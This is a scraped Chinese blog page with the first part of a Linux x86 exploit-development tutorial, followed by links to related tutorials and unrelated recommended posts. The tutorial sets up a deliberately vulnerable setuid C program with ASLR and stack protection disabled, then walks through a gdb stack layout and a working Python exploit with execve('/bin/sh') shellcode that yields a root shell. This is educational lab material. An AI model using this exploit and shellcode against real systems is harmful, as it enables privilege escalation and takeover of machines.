(1)漏洞代码

//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
/* [1] */ char buf[256];
/* [2] */ strcpy(buf,argv[1]);
/* [3] */ printf("Input:%s\n",buf);
return 0;
}

编译

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
sudo chown root vuln
sudo chgrp root vuln
sudo chmod +s vuln

(2)反汇编并绘制出漏洞代码的堆栈布局

gdb-peda$ disass main
Dump of assembler code for function main:
0x08048414 <+0>: push ebp
0x08048415 <+1>: mov ebp,esp
0x08048417 <+3>: and esp,0xfffffff0
0x0804841a <+6>: sub esp,0x110
0x08048420 <+12>: mov eax,DWORD PTR [ebp+0xc]
0x08048423 <+15>: add eax,0x4
0x08048426 <+18>: mov eax,DWORD PTR [eax]
0x08048428 <+20>: mov DWORD PTR [esp+0x4],eax
0x0804842c <+24>: lea eax,[esp+0x10]
0x08048430 <+28>: mov DWORD PTR [esp],eax
0x08048433 <+31>: call 0x8048330 <strcpy@plt>
0x08048438 <+36>: mov eax,0x8048530
0x0804843d <+41>: lea edx,[esp+0x10]
0x08048441 <+45>: mov DWORD PTR [esp+0x4],edx
0x08048445 <+49>: mov DWORD PTR [esp],eax
0x08048448 <+52>: call 0x8048320 <printf@plt>
0x0804844d <+57>: mov eax,0x0
0x08048452 <+62>: leave
0x08048453 <+63>: ret
End of assembler dump.

(3)当用户输入的内容大于256位时,将溢出目标缓冲区并覆盖堆栈中存储的返回地址。通过发送一系列“A”来测试它。

EBP的值已经变成了四个A

(4)根据堆栈布局,可以尝试输入256个A(buf)+8个A(对齐空间)+4A(EBP)+4个B(返回地址),看是否能覆盖括号里的内容

(5)攻击代码

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff4a0
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
return struct.pack("<I",num)#nk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])

将攻击代码改动一下,以准确确定shellcode的地址。

运行

查看内存,可以发现shellcode的起始地址,因此只要保证ret_addr在那100个‘\x90’里就可以了。

(6)确定攻击代码,选择ret_addr为0xbffff4a0

运行

获取到root shell权限。

Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)的更多相关文章

  1. Linux (x86) Exploit 开发系列教程之三(Off-By-One 漏洞 (基于栈))

    off by one(栈)? 将源字符串复制到目标缓冲区可能会导致off by one 1.源字符串长度等于目标缓冲区长度. 当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上 ...

  2. Linux (x86) Exploit 开发系列教程之六(绕过ASLR - 第一部分)

    转:https://bbs.pediy.com/thread-217390.htm 前提条件: 经典的基于堆栈的缓冲区溢出 虚拟机安装:Ubuntu 12.04(x86) 在以前的帖子中,我们看到了攻 ...

  3. Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分

    (1)原理: 使用爆破技巧,来绕过共享库地址随机化.爆破:攻击者选择特定的 Libc 基址,并持续攻击程序直到成功.这个技巧是用于绕过 ASLR 的最简单的技巧. (2)漏洞代码 //vuln.c # ...

  4. Linux (x86) Exploit 开发系列教程之二(整数溢出)

    (1)漏洞代码 //vuln.c #include <stdio.h> #include <string.h> #include <stdlib.h> void s ...

  5. Linux (x86) Exploit 开发系列教程之四(使用return-to-libc绕过NX bit)

    (1)原理: “NX Bit”的漏洞缓解:使某些内存区域不可执行,并使可执行区域不可写.示例:使数据,堆栈和堆段不可执行,而代码段不可写. 在NX bit打开的情况下,基于堆栈的缓冲区溢出的经典方法将 ...

  6. Linux Exploit系列之一 典型的基于堆栈的缓冲区溢出

    Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出) Note:本文大部分来自于看雪hackyzh的中文翻译,加入了一些自己的理解 典型的基于堆栈的缓冲区溢出 虚拟机 ...

  7. 微信公众号开发系列教程一(调试环境部署续:vs远程调试)

    http://www.cnblogs.com/zskbll/p/4080328.html 目录 C#微信公众号开发系列教程一(调试环境部署) C#微信公众号开发系列教程一(调试环境部署续:vs远程调试 ...

  8. C#微信公众号开发系列教程三(消息体签名及加解密)

    http://www.cnblogs.com/zskbll/p/4139039.html C#微信公众号开发系列教程一(调试环境部署) C#微信公众号开发系列教程一(调试环境部署续:vs远程调试) C ...

  9. C#微信公众号开发系列教程二(新手接入指南)

    http://www.cnblogs.com/zskbll/p/4093954.html 此系列前面已经更新了两篇博文了,都是微信开发的前期准备工作,现在切入正题,本篇讲解新手接入的步骤与方法,大神可 ...

随机推荐

  1. python smbus IOError: [Errno 2] No such file or directory

    1.打开配置文件 sudo nano /boot/config.txt 打开以下选项 "dtparam=i2c_arm=on" ctrl + o 保存 ctrl + x 退出 2. ...

  2. C++ 获取二维数组的一维长度

    行长度: ]); 列长度: ][]); ]); int column = lines / row;

  3. 网DAI之家简单爬取

    用requests和bs做个简单的爬取网DAI之家的例子. 只做笔记用. #!/usr/bin/python3 import requestsfrom bs4 import BeautifulSoup ...

  4. django + vue3 解决跨越问题

    django跨域 解决: https://yq.aliyun.com/articles/517215 vue3 跨越(此处没必要,django处理即可): https://blog.csdn.net/ ...

  5. chrome浏览器备忘

    记录日常使用Chrome遇到的问题. audio控件播放音频问题 打开http://www.cdfive.com,发现音乐没有自动播放,F12打开控制台发现有如下报错: Uncaught (in pr ...

  6. 灵活使用ssh、dsh和pssh高效管理大量计算机

    http://os.iyunv.com/art/201012/240113.htm 灵活使用ssh.dsh和pssh高效管理大量计算机 http://os.iyunv.com2010-12-23 09 ...

  7. android studio: 9:57 Unsupported Modules Detected: Compilation is not supported for following modules: map, app, ota, MediaEditor, rcLcmSercive, DroneSDK, qrcodelibrary, rcService, speechService. Unfo

    Android studio Error “Unsupported Modules Detected: Compilation is not supported for following modul ...

  8. mac下如何安装python3?

    1. 安装homebrew $ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/insta ...

  9. 在Mac 搭建robotframework 环境 遇到ride.py 打不开的方法(没试过,先记录在此)

    折腾来一下午,遇到了好多坑 坑 1.不要用pip 下载wxpython 2.不要用mac自带的python 3.不要自己下载wxpython 步骤: 1. 安装homebrew, /usr/bin/r ...

  10. 123457123456#0#-----com.yuming.FromPuzzleGame01--前拼后广--宝宝农场拼图cym

    com.yuming.FromPuzzleGame01--前拼后广--宝宝农场拼图cym